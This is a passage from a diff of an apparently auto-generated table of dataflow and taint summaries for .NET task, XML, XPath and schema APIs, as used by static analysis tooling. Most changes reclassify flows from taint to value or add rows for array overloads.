-| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;get_Result;();Argument[this];ReturnValue;taint;manual | | System.Threading.Tasks;TaskAsyncEnumerableExtensions;ConfigureAwait;(System.IAsyncDisposable,System.Boolean);Argument[0];ReturnValue;taint;df-generated | | System.Threading.Tasks;TaskAsyncEnumerableExtensions;ConfigureAwait;(System.Collections.Generic.IAsyncEnumerable,System.Boolean);Argument[0];ReturnValue;taint;df-generated | @@ -19427,7 +19651,7 @@ summary | System.Threading.Tasks;ValueTask;AsTask;();Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];value;dfc-generated | | System.Threading.Tasks;ValueTask;ConfigureAwait;(System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks;ValueTask;GetAwaiter;();Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;ValueTask;Preserve;();Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;ValueTask;Preserve;();Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;ValueTask;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks;ValueTask;ValueTask;(System.Threading.Tasks.Sources.IValueTaskSource,System.Int16);Argument[0];Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj];value;dfc-generated | | System.Threading.Tasks;ValueTask;ValueTask;(System.Threading.Tasks.Task);Argument[0];Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj];value;dfc-generated | @@ -19682,7 +19906,9 @@ summary | System.Xml.Linq;XContainer;Add;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XContainer;Add;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XContainer;Add;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XContainer;Add;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;AddFirst;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XContainer;AddFirst;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;DescendantNodes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;Descendants;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;Descendants;(System.Xml.Linq.XName);Argument[this];ReturnValue;taint;df-generated | @@ -19693,6 +19919,7 @@ summary | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XContainer;ReplaceNodes;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;get_FirstNode;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;get_LastNode;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XDeclaration;ToString;();Argument[this].SyntheticField[System.Xml.Linq.XDeclaration._encoding];ReturnValue;taint;dfc-generated | @@ -19751,9 +19978,11 @@ summary | System.Xml.Linq;XElement;ReplaceAll;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAll;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAll;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XElement;ReplaceAll;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XElement;ReplaceAttributes;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XElement;SetAttributeValue;(System.Xml.Linq.XName,System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;SetAttributeValue;(System.Xml.Linq.XName,System.Object);Argument[1];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;SetElementValue;(System.Xml.Linq.XName,System.Object);Argument[1];Argument[this];taint;df-generated | @@ -19779,7 +20008,9 @@ summary | System.Xml.Linq;XNamespace;get_NamespaceName;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNamespace;op_Addition;(System.Xml.Linq.XNamespace,System.String);Argument[0];ReturnValue.SyntheticField[System.Xml.Linq.XName._ns];value;dfc-generated | | System.Xml.Linq;XNode;AddAfterSelf;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;AddAfterSelf;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;AddBeforeSelf;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;AddBeforeSelf;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;Ancestors;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;Ancestors;(System.Xml.Linq.XName);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;CreateReader;(System.Xml.Linq.ReaderOptions);Argument[this];ReturnValue.SyntheticField[System.Xml.Linq.XNodeReader._source];value;dfc-generated | @@ -19789,6 +20020,7 @@ summary | System.Xml.Linq;XNode;ReadFrom;(System.Xml.XmlReader);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;ReadFromAsync;(System.Xml.XmlReader,System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;ReplaceWith;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;ReplaceWith;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;WriteTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XNode;WriteToAsync;(System.Xml.XmlWriter,System.Threading.CancellationToken);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XNode;get_NextNode;();Argument[this];ReturnValue;taint;df-generated | @@ -19825,12 +20057,12 @@ summary | System.Xml.Linq;XText;WriteToAsync;(System.Xml.XmlWriter,System.Threading.CancellationToken);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XText;XText;(System.String);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XText;XText;(System.Xml.Linq.XText);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | -| System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | +| System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | +| System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | @@ -19903,14 +20135,15 @@ summary | System.Xml.Schema;XmlSchemaComplexContentRestriction;get_Attributes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaComplexType;get_AttributeWildcard;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaComplexType;get_ContentTypeParticle;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];Argument[2];taint;df-generated | -| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[2];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];Argument[2];taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[2];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaElement;get_ElementSchemaType;();Argument[this];ReturnValue;taint;df-generated | @@ -19963,12 +20196,12 @@ summary | System.Xml.Schema;XmlSchemaSet;Add;(System.String,System.Xml.XmlReader);Argument[1];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.String,System.Xml.XmlReader);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchemaSet);Argument[0];Argument[this];taint;df-generated | | System.Xml.Schema;XmlSchemaSet;CopyTo;(System.Xml.Schema.XmlSchema[],System.Int32);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Remove;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;dfc-generated | | System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaSet;Schemas;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Schemas;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;XmlSchemaSet;(System.Xml.XmlNameTable);Argument[0];Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaSet._nameTable];value;dfc-generated | @@ -19995,7 +20228,7 @@ summary | System.Xml.Schema;XmlSchemaValidator;Initialize;(System.Xml.Schema.XmlSchemaObject);Argument[0];Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaValidator._partialValidationType];value;dfc-generated | | System.Xml.Schema;XmlSchemaValidator;SkipToEndElement;(System.Xml.Schema.XmlSchemaInfo);Argument[this];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.Xml.Schema.XmlValueGetter,System.Xml.Schema.XmlSchemaInfo);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateElement;(System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[0];Argument[this];taint;df-generated | @@ -20008,7 +20241,7 @@ summary | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateText;(System.Xml.Schema.XmlValueGetter);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -20382,8 +20615,10 @@ summary | System.Xml.XPath;Extensions;CreateNavigator;(System.Xml.Linq.XNode,System.Xml.XmlNameTable);Argument[0];ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._source];value;dfc-generated | | System.Xml.XPath;Extensions;CreateNavigator;(System.Xml.Linq.XNode,System.Xml.XmlNameTable);Argument[1];ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._nameTable];value;dfc-generated | | System.Xml.XPath;IXPathNavigable;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;IXPathNavigable;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XDocumentExtensions;ToXPathNavigable;(System.Xml.Linq.XNode);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathDocument;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;XPathDocument;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XPathDocument;XPathDocument;(System.Xml.XmlReader,System.Xml.XmlSpace);Argument[0];Argument[this];taint;df-generated | | System.Xml.XPath;XPathException;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System.Xml.XPath;XPathException;get_Message;();Argument[this].Property[System.Exception.Message];ReturnValue;value;dfc-generated | @@ -20394,7 +20629,7 @@ summary | System.Xml.XPath;XPathExpression;SetContext;(System.Xml.IXmlNamespaceResolver);Argument[0];Argument[this];taint;df-generated | | System.Xml.XPath;XPathExpression;SetContext;(System.Xml.XmlNamespaceManager);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml.XPath;XPathExpression;get_Expression;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.XPath;XPathItem;ValueAs;(System.Type);Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;XPathItem;ValueAs;(System.Type);Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[1];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];Argument[1];taint;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | @@ -20408,6 +20643,7 @@ summary | System.Xml.XPath;XPathNavigator;Compile;(System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathNavigator;CreateAttributes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathNavigator;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;XPathNavigator;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XPathNavigator;Evaluate;(System.Xml.XPath.XPathExpression);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathNavigator;Evaluate;(System.Xml.XPath.XPathExpression,System.Xml.XPath.XPathNodeIterator);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathNavigator;Evaluate;(System.Xml.XPath.XPathExpression,System.Xml.XPath.XPathNodeIterator);Argument[1].Element;ReturnValue;taint;df-generated | @@ -20510,12 +20746,14 @@ summary | System.Xml;UniqueId;UniqueId;(System.String);Argument[0];Argument[this];taint;df-generated | | System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;CloneNode;(System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | @@ -20524,20 +20762,21 @@ summary | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[1].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | -| System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;RemoveChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | -| System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;WriteContentTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | | System.Xml;XmlAttribute;WriteTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | @@ -20773,6 +21012,7 @@ summary | System.Xml;XmlDocument;CreateElement;(System.String,System.String,System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlDocument;CreateEntityReference;(System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlDocument;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml;XmlDocument;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml;XmlDocument;CreateNavigator;(System.Xml.XmlNode);Argument[this];ReturnValue.SyntheticField[System.Xml.DocumentXPathNavigator._document];value;dfc-generated | | System.Xml;XmlDocument;CreateNode;(System.String,System.String,System.String);Argument[1];ReturnValue;taint;df-generated | | System.Xml;XmlDocument;CreateNode;(System.String,System.String,System.String);Argument[2];ReturnValue;taint;df-generated | @@ -20940,6 +21180,7 @@ summary | System.Xml;XmlNamespaceManager;get_NameTable;();Argument[this].SyntheticField[System.Xml.XmlNamespaceManager._nameTable];ReturnValue;value;dfc-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;Clone;();Argument[this];ReturnValue;taint;df-generated | @@ -20948,12 +21189,14 @@ summary | System.Xml;XmlNode;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Xml;XmlNode;CloneNode;(System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml;XmlNode;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml;XmlNode;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Xml;XmlNode;GetNamespaceOfPrefix;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;GetPrefixOfNamespace;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | @@ -20962,20 +21205,21 @@ summary | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | -| System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | 